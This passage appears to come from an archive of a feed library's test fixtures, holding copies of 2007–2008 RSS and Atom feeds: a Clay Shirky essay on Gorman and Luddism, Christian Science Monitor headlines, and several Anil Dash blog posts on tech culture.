src="http://feeds.feedburner.com/~r/Many-to-many/~4/127607791" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/127607791/viewing_american_class_divisions_through_facebook_and_myspace.php http://many.corante.com/archives/2007/06/24/viewing_american_class_divisions_through_facebook_and_myspace.php danah social software Sun, 24 Jun 2007 18:43:30 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F06%2F24%2Fviewing_american_class_divisions_through_facebook_and_myspace.phphttp://many.corante.com/archives/2007/06/24/viewing_american_class_divisions_through_facebook_and_myspace.php Gorman, redux: The Siren Song of the Internet <p><i>Michael Gorman has his next post up at the Britannica blog: <a href="http://blogs.britannica.com/blog/main/2007/06/the-siren-song-of-the-internet-part-i/">The Siren Song of the Internet</a>. My <a href="http://blogs.britannica.com/blog/main/2007/06/the-siren-song-of-luddism/">reply is also up</a>, and posted below. The themes of the historical lessons of Luddism are also being discussed in the comments to last week&#8217;s Gorman response, <a href="http://many.corante.com/archives/2007/06/13/old_revolutions_good_new_revolutions_bad_a_response_to_gorman.php">Old Revolutions Good, New Revolutions Bad</a></i></p> <p><em>Siren Song of the Internet</em> contains a curious omission and a basic misunderstanding. The omission is part of his defense of the Luddites; the misunderstanding is about the value of paper and the nature of e-books. </p> <p>The omission comes early: Gorman cavils at being called a Luddite, though he then embraces the label, suggesting that they &#8220;&#8230;had legitimate grievances and that their lives were adversely affected by the mechanization that led to the Industrial Revolution.&#8221; No one using the term Luddite disputes the effects on pre-industrial weavers. This is the general case &#8212; any technology that fixes a problem (in this case the high cost of homespun goods) threatens the people who profit from the previous inefficiency. However, Gorman omits mentioning the Luddite response: an attempt to halt the spread of mechanical looms which, though beneficial to the general populace, threatened the livelihoods of King Ludd&#8217;s band. </p> <p>By labeling the Luddite program legitimate, Gorman seems to be suggesting that incumbents are right to expect veto power over technological change. Here his stand in favor of printed matter is inconsistent, since printing was itself enormously disruptive, and many people wanted veto power over its spread as well. Indeed, one of the great Luddites of history (if we can apply the label anachronistically) was Johannes Trithemius, who argued in the late 1400s that the printing revolution be contained, in order to shield scribes from adverse effects. This is the same argument Gorman is making, in defense of the very tools Trithemius opposed. His attempt to rescue Luddism looks less like a principled stand than special pleading: the printing press was good, no matter happened to the scribes, but let&#8217;s not let that sort of thing happen to my tribe. </p> <p>Gorman then defends traditional publishing methods, and ends up conflating several separate concepts into one false conclusion, saying &#8220;To think that digitization is the answer to all that ails the world is to ignore the uncomfortable fact that most people, young and old, prefer to interact with recorded knowledge and literature in the form of print on paper.&#8221;</p> <p>Dispensing with the obvious straw man of &#8220;all that ails the world&#8221;, a claim no one has made, we are presented with a fact that is supposed to be uncomfortable &#8212; it&#8217;s good to read on paper. Well duh, as the kids say; there&#8217;s nothing uncomfortable about that. Paper is obviously superior to the screen for both contrast and resolution; Hewlett-Packard would be about half the size it is today if that were not true. But how did we get to talking about paper when we were talking about knowledge a moment ago? </p> <p>Gorman is relying on metonymy. When he notes a preference for reading on paper he means a preference for traditional printed forms such as books and journals, but this is simply wrong. The uncomfortable fact is that the advantages of paper have become decoupled from the advantages of publishing; a big part of preference for reading on paper is expressed by hitting the print button. As we know from Lyman and Varian&#8217;s &#8220;How Much Information&#8221; study, &#8220;&#8230;the vast majority of original information on paper is produced by individuals in office documents and postal mail, not in formally published titles such as books, newspapers and journals.&#8221; </p> <p>We see these effects everywhere: well over 90% of new information produced in any year is stored electronically. Use of the physical holdings of libraries are falling, while the use of electronic resources is rising. Scholarly monographs, contra Gorman, are increasingly distributed electronically. Even the physical form of newspapers is shrinking in response to shrinking demand, and so on. </p> <p>The belief that a preference for paper leads to a preference for traditional publishing is a simple misunderstanding, demonstrated by his introduction of the failed e-book program as evidence that the current revolution is limited to &#8220;hobbyists and premature adopters.&#8221; The problems with e-books are that they are not radical enough: they dispense with the best aspect of books (paper as a display medium) while simultaneously aiming to disable the best aspects of electronic data (sharability, copyability, searchability, editability.) The failure of e-books is in fact bad news for Gorman&#8217;s thesis, as it demonstrates yet again that users have an overwhelming preference for the full range of digital advantages, and are not content with digital tools that are designed to be inefficient in the ways that printed matter is inefficient. </p> <p>If we gathered every bit of output from traditional publishers, we could line them up in order of vulnerability to digital evanescence. Reference works were the first to go &#8212; phone books, dictionaries, and thesauri have largely gone digital; the encyclopedia is going, as are scholarly journals. Last to go will be novels &#8212; it will be some time before anyone reads <em>One Hundred Years of Solitude</em> in any format other than a traditionally printed book. Some time, however, is not forever. The old institutions, and especially publishers and libraries, have been forced to use paper not just for display, for which is it well suited, but also for storage, transport, and categorization, things for which paper is completely terrible. We are now able to recover from those disadvantages, though only by transforming the institutions organized around the older assumptions.</p> <p>The ideal situation, which we are groping our way towards, will be to have all written material, wherever it lies on the &#8216;information to knowledge&#8217; continuum, in digital form, right up the moment a reader wants it. At that point, the advantages of paper can be made manifest, either by printing on demand, or by using a display that matches paper&#8217;s superior readability. Many of the traditional managers of books and journals will suffer from this change, though it will benefit society as a whole. The question Gorman pointedly asks, by invoking Ned Ludd and his company, is whether we want that change to be in the hands of people who would be happy to discomfit society as a whole in order to preserve the inefficiencies that have defined their world.</p> <p><a href="http://feeds.feedburner.com/~a/Many-to-many?a=mIQNkk"><img src="http://feeds.feedburner.com/~a/Many-to-many?i=mIQNkk" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Many-to-many?a=KbAGNElq"><img src="http://feeds.feedburner.com/~f/Many-to-many?i=KbAGNElq" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Many-to-many/~4/126445455" height="1" width="1"/> http://feeds.feedburner.com/~r/Many-to-many/~3/126445455/gorman_redux_the_siren_song_of_the_internet.php http://many.corante.com/archives/2007/06/20/gorman_redux_the_siren_song_of_the_internet.php clays social software Wed, 20 Jun 2007 11:21:08 -0500 http://api.feedburner.com/awareness/1.0/GetItemData?uri=Many-to-many&itemurl=http%3A%2F%2Fmany.corante.com%2Farchives%2F2007%2F06%2F20%2Fgorman_redux_the_siren_song_of_the_internet.phphttp://many.corante.com/archives/2007/06/20/gorman_redux_the_siren_song_of_the_internet.php http://api.feedburner.com/awareness/1.0/GetFeedData?uri=Many-to-many Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.csmonitor.com-rss-top.rss0000664000175000017500000000463212653701626026547 0ustar janjan Christian Science Monitor | Top Stories en-us Copyright 2008 The Christian Science Monitor. All rights reserved. This RSS file is offered to individuals and non-commercial organizations only. Newspapers, magazines, and other commercial websites wishing to use Monitor RSS files, please contact syndication@csmonitor.com. feedback@csmonitor.com feedback@csmonitor.com Read the front page stories of csmonitor.com. http://csmonitor.com Christian Science Monitor http://www.csmonitor.com/images/logo_88x31.gif http://csmonitor.com 88 31 Thabo Mbeki: the fall of Africa's Shakespearean figure South Africa's president was ousted by his own party this weekend. http://www.csmonitor.com/2008/0922/p01s01-woaf.html How $700 billion Paulson-Bernanke plan may help house prices Economists hope the proposed bailout will boost confidence and end the cycle of falling real estate values. http://www.csmonitor.com/2008/0922/p01s03-usec.html Burma's secret schools of dissent Monks teach children critical thinking and human rights, to groom the next generation of activists. Part 3 of three. http://www.csmonitor.com/2008/0922/p06s01-woap.html Pakistani militants target foreigners Saturday's massive truck bombing, which killed at least 50 people, is seen as a warning to the Pakistani government over its cooperation with the US. http://www.csmonitor.com/2008/0922/p04s01-wosc.html For young English-speakers gone astray in Israel, a helping hand A Texan has set out to assist some of the hundreds of Jews who come to Israel every year and find trouble instead of religious awakening. http://www.csmonitor.com/2008/0922/p07s01-wome.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.dashes.com-anil-index.rdf0000664000175000017500000033417512653701626026376 0ustar janjan Anil Dash tag:www.dashes.com,2008:/anil//1 2008-07-21T20:37:25Z A Blog About Making Culture Movable Type 4.2rc3-en 37.766529-122.39577http://www.feedburner.com/fb/images/pub/fb_pwrd.gif41http://www.feedburner.comThis is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site. Lists and Being On Them tag:www.dashes.com,2008:/anil//1.6988 2008-07-21T15:45:11Z 2008-07-21T20:37:25Z Hey, NowPublic made a list of the 50 most influential web people in New York, and I'm on it at number six. So, thanks to the folks who made the list, and I appreciate the recognition. However, every time a similar list comes out, I have a number of responses... Anil http://anildash.com/ <p>Hey, NowPublic <a href="http://www.nowpublic.com/world/mostpublic-index">made a list of the 50 most influential web people in New York</a>, and I'm on it at number six. So, thanks to the folks who made the list, and I appreciate the recognition.</p> <p><img alt="NowPublic" src="http://www.dashes.com/anil/images/nowpublic-logo.png" width="227" height="51" class="imgright" /> However, every time a similar list comes out, I have a number of responses that immediately come to mind, and most of my friends who have to suffer through my ranting reply with some variation of "You're just complaining because you're not on the list!"</p> <p>But this time, I <em>am</em> on the list. Which means it's a chance to talk about the reasons, good and bad, why these sorts of lists exist, and what purpose they can serve.</p> <p><strong>Update</strong>: Apparently, I'm on the <a href="http://www.techcult.com/top-100-web-celebrities/">TechCult Top 100 Web Celebrities</a> list, too. Which appears to be even more blatantly link-baiting, though again, the company I'm keeping there is nice.</p> <ul> <li>First and foremost, organizations (whether they're websites, media organizations, publishers, individuals, institutions, whatever) create these lists to solidify their power and influence, and to promote their own authority. This generally works, with the most exceptional examples like Time's Person of the Year actually acting to amplify the publication's own profile. With that kind of success, it's easy to understand how Time decided to also create a Time 100 list as well.</li> <li>For less-known organizations, like NowPublic, having a list like this acts as a phenomenal engine of promotion. People who have a high profile are generally well-known, at least in part, because they put an effort into being well-known. Therefore, putting their name on a list is an extremely effective way to get their attention. On the web, we call this link-baiting, but offline, it's simply called flattery.</li> <li>These types of lists <em>can</em> be useful. One of the earliest and most fundamental milestones in the formation of a community is the desire for certain members to recognize those that (appear to) exemplify the values that the community aspires to, or would like to be identified by. Similarly, promoting unsung or less-known members of a community can be a useful method of indicating a desire for a community's values to evolve.<br /> <!-- * It's a nice cyclical marker of progress. The entertainment industry spends the first few months of the year in the throes of Award Season, with the Emmys and Grammies and Oscars and the like all serving not just as moments of recognition, but as reminders that another year has passed since the last one. It's been interesting to see this in our own industry as the Webby awards grew in stature, plummeted to an ignominious depth (The year Ben and Mena won one for <a href="http://www.movabletype.com/">Movable Type</a>, there wasn't even an awards ceremony, just a Flash animation online.) and have since regained some level of renown. --></li> <li>Lists are <em>different</em> from awards. Everybody on them is a winner, of sorts, so there's very little sense of bitterness between people on the list. Similarly, having a large number of people be recognized increases the aspirational value for those who <em>aren't</em> on the list -- it's easy to pick someone on a lengthy list who seems undeserving.</li> <li>Creating this kind of content is perfect for the lazy days of summer. Fondly referred to in the publishing industry as "listicles", assembling faux-scientific methods of cataloging potential list members is a perfect task for interns. Here in New York, all of our local media editors traipse off to the Hamptons to sit out the sweltering days of July or August, and by amazing coincidence, much of local media publishes their "Best Of" articles around the same time. It's a credit to NowPublic that they've decided, interestingly, to publish the methodology for calculating influence.</li> <li>Pointing out these structural circumstances which occasion the creation of such lists doesn't mean that they're not still flattering and appreciated. It's nice to see your name on something. One of NowPublic's stated criteria for evaluation is accessibility, and as someone who's had his mobile phone number sitting on the side of his website for years, I am happy to see that's a factor in evaluating influence.</li> <li>There are, of course, some lists which are really important. Such as the <a href="http://publicschoolintelligentsia.com/?p=140">Top 10 Boy Bloggers We'd Let Rub Our Touchpads</a>. Congratulations to Nick Denton and Jason Kottke for being the only guys who are on both the NowPublic list and on this more esteemed accounting.</li> </ul> <p>Thanks again to NowPublic for the recognition, and congratulations to the many friends and acquaintances of mine on the list. With only one exception, it's fantastic company to be part of and I can't wait to see who they pick in other cities and in New York next year.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=3w5Cgx"><img src="http://feeds.feedburner.com/~a/AnilDash?i=3w5Cgx" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=C1IhxJ"><img src="http://feeds.feedburner.com/~f/AnilDash?i=C1IhxJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=RXyeZJ"><img src="http://feeds.feedburner.com/~f/AnilDash?i=RXyeZJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/341679818" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F07%2Flists-and-being-on-them.htmlhttp://www.dashes.com/anil/2008/07/lists-and-being-on-them.html Details of Execution tag:www.dashes.com,2008:/anil//1.6987 2008-07-16T16:35:42Z 2008-07-16T19:14:26Z Sometimes if you do something very difficult, and you do it really well, the end result is that your achievement becomes completely invisible. I mentioned a year and a half ago that I like Twitter. That was a little bit less common a position to take back then, but in... Anil http://anildash.com/ <p>Sometimes if you do something very difficult, and you do it really well, the end result is that your achievement becomes completely invisible.</p> <p><img alt="Twitter logo" src="http://www.dashes.com/anil/images/twitter.png" width="210" height="49" class="imgright" /></p> <p>I mentioned a year and a half ago that <a href="http://www.dashes.com/anil/2007/02/consider-twitte.html">I like Twitter</a>. That was a little bit less common a position to take back then, but in the months since, tons of people have taken to the little messaging service, so clearly this was no great insight on my part -- it's just a useful, fun service.</p> <p>But of course, that popularity has not been without its problems. Twitter's gotten a reputation for being unreliable, as a result of its rapid growth. In fact, in many ways, the <a href="http://buzzfeed.com/buth/fail-whale">Fail Whale</a> and its related frustrations has come to define Twitter's brand more than almost anything else.</p> <p>I'm no expert at these things, but there are a lot of reasons startups fail, and the reasons almost never include the fact that thousands of users clamoring for a service. Indeed, it seems to me that most companies (whether they're tech startups or anything else) fail because of being poorly managed. Put another way, execution is everything.</p> <p>With that in mind, it's worth pointing out how particularly well-executed Twitter's recent acquisition of Summize has been. I don't know any of the deals of the financial or business arrangements, except that I'm a little disappointed that Twitter isn't maintaining a presence in New York City, instead moving all of the employees to San Francisco. That nitpick aside, the public face of this transition was extremely well executed.</p> <p>Ev Williams, co-founder and the most public face of Twitter, speaks about the deal at some length in this <a href="http://www.techcrunch.com/2008/07/15/interview-with-evan-william-summize-acquisition-api-issues-and-their-revenue-model/">excellent, candid interview with Techcrunch</a>. (Which site, by the way, may rank as my "most improved" blog of 2008.)</p> <p>Rumors of the Summize acquisition leaked a few weeks ago, but both companies kept discipline around communications and didn't acknowledge or respond to the conversation. And then, when it came time to announce the deal, the sites had been fully integrated, a <a href="http://blog.twitter.com/2008/07/finding-perfect-match.html">lengthy and personable blog post</a> complete with a sketch of some future ideas for integration was posted, consistent branding was in place on the acquired site, and the roadmap for what was going on with employees affected by the acquisition was clearly communicated.</p> <p>In all, that's a formidable amount of coordination to happen across the country, while business deals are being worked out, and while maintaining secrecy about the fact that it's taking place. And, all of that was done with an eye towards providing a good user experience to their shared customer base.</p> <p>There are a lot of things to criticize in such deals most of the time, though it seems likely that this will be a successful acquisition, from an outsider's point of view. But what's striking to me is that, as quick as so many are to criticize Twitter (fairly) for technological problems, people haven't been as eager to acknowledge a remarkable discipline and execution on the business side of the company. Frankly, all of those who'd suggested that <a href="http://www.google.com/search?q=%22should+buy+twitter%22">Twitter should be sold to a larger company</a> seem to have forgotten that almost none of the big companies suggested as acquirers have a history of consistently pulling off this kind of execution. And that's even more true for the smaller innovative companies that they've acquired.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=H8rf78"><img src="http://feeds.feedburner.com/~a/AnilDash?i=H8rf78" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=w4RBMJ"><img src="http://feeds.feedburner.com/~f/AnilDash?i=w4RBMJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=nSucGJ"><img src="http://feeds.feedburner.com/~f/AnilDash?i=nSucGJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/337255365" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F07%2Fdetails-of-execution.htmlhttp://www.dashes.com/anil/2008/07/details-of-execution.html Bill Gates and the Greatest Tech Hack Ever tag:www.dashes.com,2008:/anil//1.6986 2008-06-26T13:46:51Z 2008-06-26T22:21:27Z digg_url = 'http://digg.com/microsoft/Bill_Gates_and_the_Greatest_Tech_Hack_Ever'; Bill Gates has pulled off one of the greatest hacks in technology and business history, by turning Microsoft's success into a force for social responsibility. Imagine imposing a tax on every corporation in the developed world, collecting $100 per white-collar worker per year, and then directing... Anil http://anildash.com/ <div style="float : left; padding : 10px;"><script type="text/javascript"> digg_url = 'http://digg.com/microsoft/Bill_Gates_and_the_Greatest_Tech_Hack_Ever'; </script><script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script> </div> <p>Bill Gates has pulled off one of the greatest hacks in technology and business history, by turning Microsoft's success into a force for social responsibility. Imagine imposing a tax on every corporation in the developed world, collecting $100 per white-collar worker per year, and then directing one third of the proceeds to curing <span class="caps">AIDS </span>and malaria. That, effectively, is what Bill Gates has done.</p> <p><a href="http://www.amazon.com/exec/obidos/ASIN/0671880748/2020-20" class="imgright"><img alt="Gates biography" src="http://www.dashes.com/anil/images/gates-bio.jpg" width="120" height="178" /></a> On a day when everyone will be noting Gates' departure from day-to-day involvement in his work at Microsoft, it's worth noting the work he's done which will likely be seen as his greatest legacy.</p> <p>The unofficial goal of Microsoft in its early years was to see a computer on every desk and in every home, presumably running Microsoft software. That sort of vision, put forth in a time when the conventional wisdom dictated that personal computers might disappear entirely, was astounding enough. But by the year 2000, just 25 years after its founding, Microsoft had <em>achieved</em> that improbable goal, at least in the developed world.</p> <p>The story of the <a href="http://www.gatesfoundation.org/">Gates Foundation</a> is well-covered, but it's important to consider the context in which the Foundation was created. What would you do if you defined the most ambitious goal you could imagine, and then achieved it just 25 years later? And what if you had done so while still relatively young, not even fifty years old? That's the position Gates found himself in just a decade ago.</p> <p>Most people, when faced with the realization of their greatest dreams, will respond at first with elation, and then later settle into melancholy or even depression. It can be overwhelming to think that there's nothing left to do. Instead, Gates upped the ante.</p> <p>How high did he set his new goals? How about curing <span class="caps">AIDS</span>? Or ending the spread of malaria? What about improving life expectancy and quality of life for the poorest people in the world? After achieving a goal that seemed outlandish, it's clear that the only logical next step is to try to achieve a goal that seems nearly impossible. I have to point out that sense of thinking "Okay, we won -- what next?" is extremely unusual.</p> <p>Plainly, I admire Bill Gates for this. I think there are few people who, instead of resting on their laurels, decide to stake their reputation and fortune on goals that are not only altruistic, but that conventional wisdom dictates may not be achievable in a single lifetime. There are many other ways to measure a man, and I'm not diminishing at all the fact that Microsoft as a corporation has made regrettable, unfortunate, and even illegal decisions during Bill Gates' tenure. But imagine if someone had defined an explicit goal of a "cure <span class="caps">AIDS </span>tax" for corporations, and then tried to get that enacted. The fact that, effectively, this has happened is remarkable.</p> <p>And there are many who still want to think, despite the commitment of incredible resources and formidable talents to support the Gates Foundation's mission, that all of this philanthropic work is an attempt to simply generate good <span class="caps">PR.</span> But that simply doesn't follow the facts.</p> <h3>A Family Tradition</h3> <p>The truth is, Bill Gates doesn't just come from a family tradition of philanthropy: It's actually a significant part of the reason he got the single biggest opportunity of his professional career. You can see the family tradition today, with the founding chairman of the Gates Foundation being William Gates Sr., Bill's father. But you have to go back twenty years earlier, to Gates' mother <a href="http://www.washington.edu/uaa/marygates.html">Mary Maxwell Gates</a>, to understand how philanthropic work opened doors for a fledgling Bill Gates and Microsoft.</p> <p>Mary Maxwell Gates was deeply involved in the work of the United Way for many years before her passing in 1994, most notably as its first female chair. And one of the connections she made through that work back in 1980 was to <a href="http://www-03.ibm.com/ibm/history/exhibits/chairmen/chairmen_7.html">John Opel</a>, the chairman of <span class="caps">IBM </span>who was also a member of the United Way's executive committee.</p> <p>It's become fairly clear in the years since that at least part of the reason <span class="caps">IBM </span>was willing to hire Microsoft to create an operating system for the initial release of the <span class="caps">IBM</span> PC was because of the introductions made through that connection. Taking a risk on an unproven small software company was a big leap to take, and it's one that ended up being the greatest turning point in the history of the biggest software company that's ever been created.</p> <p>It's fitting, then, that that opportunity is honored by having the founder of the company return all of his efforts and the vast majority of his wealth to an even more ambitious new vision for philanthropic work. So, congratulations to Bill Gates on his new job, and I hope this hack is even more successful than all the ones that he's done in the past.</p> <h3>Essential Links</h3> <p>A few recommendations for those who want to understand more about Bill Gates and his legacy:</p> <ul> <li>Stephen Manes and Paul Andrews published <a href="http://www.amazon.com/exec/obidos/ASIN/0671880748/2020-20">Gates: How Mirosoft's Mogul Reinvented an Industry</a>, back in 1992. I have been a big fan of this book since it came out. It was released before his period of greatest fame after Windows 95 launched, and perhaps as a result is more insightful than later efforts that tried to case Gates' entire life and career merely in the context of post-monopoly Microsoft. (I've shown the original, gloriously awful, cover photo above, but I think the paperback edition has less floppy-disk lunacy.)</li> <li>Fortune has <a href="http://money.cnn.com/magazines/fortune/storysupplement/gates_microsoft/index.html">a slideshow covering 30 years of Bill Gates' career</a>, narrated by the man himself.</li> <li><a href="http://blog.seattlepi.nwsource.com/microsoft/archives/141821.asp">Gates' 2003 rant about the shoddiness of the Windows user experience</a>. Though this has prompted lots of "haw, haw, Windows sucks!" responses from geeks, I though it was interesting to look past the memo as merely a document of a typically dysfunctional large company. What struck me was a founder, nearly 30 years after starting the company, and decades after becoming wealthy beyond his wildest dreams, still obviously had both great passion and an enormous amount of technical knowledge.</li> <li>Those same themes of passion and technical competence are echoed in Joel Spolsky's <a href="http://www.joelonsoftware.com/items/2006/06/16.html">essay about his first BillG review</a>. Joel revisited this in a less-geeky version of the essay <a href="http://www.inc.com/magazine/20080701/how-hard-could-it-be-glory-days.html">published in Inc. magazine</a>.</li> </ul> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=Q58YQv"><img src="http://feeds.feedburner.com/~a/AnilDash?i=Q58YQv" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=baqe0I"><img src="http://feeds.feedburner.com/~f/AnilDash?i=baqe0I" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=TXxKNI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=TXxKNI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/320559027" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F06%2Fbill-gates-and-the-greatest-tech-hack-ever.htmlhttp://www.dashes.com/anil/2008/06/bill-gates-and-the-greatest-tech-hack-ever.html Mayor Mike's Not Wearing His Pajamas tag:www.dashes.com,2008:/anil//1.6985 2008-06-18T02:30:21Z 2008-06-18T02:38:39Z Today Newtalk, a site dedicated to substantive political discussions, hosted a conversation asking "Is it possible to fix government?". In his response to host Philip Howard, NYC mayor Michael Bloomberg reveals that it's his first time responding to a conversation online: Thanks for the opportunity to participate in this discussion,... Anil http://anildash.com/ <p>Today <a href="http://newtalk.org/">Newtalk</a>, a site dedicated to substantive political discussions, hosted a conversation asking "<a href="http://newtalk.org/2008/06/is-it-possible-to-fix-governme.php">Is it possible to fix government?</a>". In his response to host Philip Howard, <a href="http://newtalk.org/2008/06/is-it-possible-to-fix-governme.php"><span class="caps">NYC </span>mayor Michael Bloomberg reveals</a> that it's his first time responding to a conversation online:</p> <blockquote> <p>Thanks for the opportunity to participate in this discussion, Philip. This is my first time participating in an online discussion, but I can assure you I am not at home wearing my pajamas. This is a great group, the kind of crowd I'd enjoy having over for dinner. So I'm just going to pretend that we're all sitting around a big table. I always learn something when I break bread with diverse groups of talented people, and I expect this conversation will be no different.</p> </blockquote> <p>It's a little bit depressing that, more than ten years after blogging's taken off, even some of the most prominent politicians in the country still think bloggers are folks at home in their pajamas. But I will take it as a sign of at least a <em>little</em> progress that Newtalk is a <a href="http://www.movabletype.com/products/community-solution.html">Movable Type Community Solution</a> site, so maybe indirectly my day job helped Mayor Mike make his first steps online.</p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=wo1RzJ"><img src="http://feeds.feedburner.com/~a/AnilDash?i=wo1RzJ" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=lukTxI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=lukTxI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=fwDyWI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=fwDyWI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/314270796" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F06%2Fmayor-mikes-not-wearing-his-pajamas.htmlhttp://www.dashes.com/anil/2008/06/mayor-mikes-not-wearing-his-pajamas.html <![CDATA[Shuttle Chips Shipped — Cheap!]]> tag:www.dashes.com,2008:/anil//1.6984 2008-06-17T23:40:42Z 2008-06-18T00:02:08Z When the Space Shuttle Discovery glided home a few days ago, one of the electronic components which made it possible was the humble Intel 8086 processor. Some of the chips powering support systems for the shuttle were purchased from a motley variety of suppliers including sellers on eBay. The New... Anil http://anildash.com/ <p>When the <a href="http://www.nasa.gov/home/hqnews/2008/jun/HQ_08150_discovery_lands.html">Space Shuttle Discovery glided home</a> a few days ago, one of the electronic components which made it possible was the humble <a href="http://www.cpu-world.com/CPUs/8086/">Intel 8086 processor</a>.</p> <p><img alt="8088B1" src="http://www.dashes.com/anil/images/8088B1-thumb-450x462.jpg" width="450" height="462" class="imgcenter" /></p> <p>Some of the chips powering support systems for the shuttle were purchased from a motley variety of suppliers including sellers on eBay. The New York Times <a href="http://query.nytimes.com/gst/fullpage.html?res=9A0CE2DF1739F931A25756C0A9649C8B63">told the story</a> six years ago:</p> <blockquote> <p>Civilian electronic markets now move so fast, and the shuttles are so old, that <span class="caps">NASA </span>and its contractors must scramble to find substitutes.</p> <p>In the past, <span class="caps">NASA </span>procurement experts would go through old catalogs and call suppliers to try to find parts. Today, the hunt has become easier with Internet search engines and sites like eBay, which auctions nearly everything.</p> </blockquote> <p>The 8086 processor just <a href="http://www.pcworld.com/article/id,146957/article.html">celebrated the 30th anniversary of its release</a>. The space shuttle program just celebrated the 27th anniversary of the maiden shuttle launch.</p> <p><small>Image of the 8088 processor, sibling to the 8086, courtesy of <a href="http://www.intel.com/museum/online/hist_micro/hof/">Intel's Microprocessor Hall of Fame</a>.</small></p> <p><a href="http://feeds.feedburner.com/~a/AnilDash?a=VH4B72"><img src="http://feeds.feedburner.com/~a/AnilDash?i=VH4B72" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/AnilDash?a=AMXRZI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=AMXRZI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/AnilDash?a=vivkSI"><img src="http://feeds.feedburner.com/~f/AnilDash?i=vivkSI" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/AnilDash/~4/314182757" height="1" width="1"/> http://api.feedburner.com/awareness/1.0/GetItemData?uri=AnilDash&itemurl=http%3A%2F%2Fwww.dashes.com%2Fanil%2F2008%2F06%2Fcheap-shuttle-chips-shipped.htmlhttp://www.dashes.com/anil/2008/06/cheap-shuttle-chips-shipped.html Sippey, Superstar! tag:www.dashes.com,2008:/anil//1.6983 2008-06-11T15:24:21Z 2008-06-11T16:11:01Z One of the most satisfying and fun things I've ever seen in my job was the sight of my friend and coworker Michael Sippey onstage with Steve Jobs and the Apple crew, showing off TypePad for iPhone. In our line of business, Apple keynotes are just about the biggest shows... Anil http://anildash.com/ <p>One of the most satisfying and fun things I've ever seen in my job was the sight of my friend and coworker <a href="http://sippey.com/">Michael Sippey</a> onstage with Steve Jobs and the Apple crew, showing off <a href="http://www.typepad.com/features/blog-iphone.html">TypePad for iPhone</a>. In our line of business, Apple keynotes are just about the biggest shows in town, and Sippey killed it on the toughest stage around.</p> <p>As Michael <a href="http://sippey.typepad.com/filtered/2008/06/on-stage.html">graciously mentions in his own post</a>, the demo wouldn't have been possible without our great developer (and demo god in his own right) Ray Marshall, along with Stephane Delbecque on our team who helped pull the entire effort together. You can <a href="http://www.apple.com/quicktime/qtv/wwdc08/">watch the whole keynote</a> on Apple's site, or just see a short clip of the TypePad demo for yourself:</p> <p><object width="335" height="360"><param name="movie" value="http://www.cnet.com/av/video/flv/newPlayers/universal.swf" /><param name="wmode" value="transparent" /><param name="allowFullScreen" value="true" /><param name="FlashVars" value="playerType=embedded&amp;value=50002569" /><embed src="http://www.cnet.com/av/video/flv/newPlayers/universal.swf" type="application/x-shockwave-flash" wmode="transparent" width="335" height="360" allowFullScreen="true" FlashVars="playerType=embedded&amp;value=50002569" /></object></p> <p>But while I'm happy for Michael and the team on such a great demo, it also made me happy to see Michael onstage showing that his knowledge of blogging is second to none. Michael was, along with <a href="http://www.peterme.com/">Peter</a>, one of the people who really inspired me to start blogging, and he's probably under-recognized as a pioneer.</p> <p>The list of ways he's influenced blogging and our industry are countless: Even the biggest gadget blogs today <em>still</em> make a huge deal out of featuring big-name tech <span class="caps">CEO</span>s when they get an <span class="caps">EXCLUSIVE INTERVIEW, </span>but Michael <a href="http://www.theobvious.com/archive/1996/10/14.html">interviewed Jeff Bezos</a> for his seminal blog <a href="http://theobvious.com/">Stating the Obvious</a> <em>twelve years ago</em>. I interviewed Michael for <a href="http://www.sixapart.com/blog/2007/04/michael_sippey.html">our series on the 10th anniversary of blogging</a> last year, in which Michael talks about creating what was arguably the first link blog, Filtered for Purity, ten years ago. And of course, <a href="http://www.sixapart.com/blog/2004/08/michael-sippey.html">Mena mentioned Michael's joining Six Apart</a> back in 2004 as our VP of Products. It's a role he's held 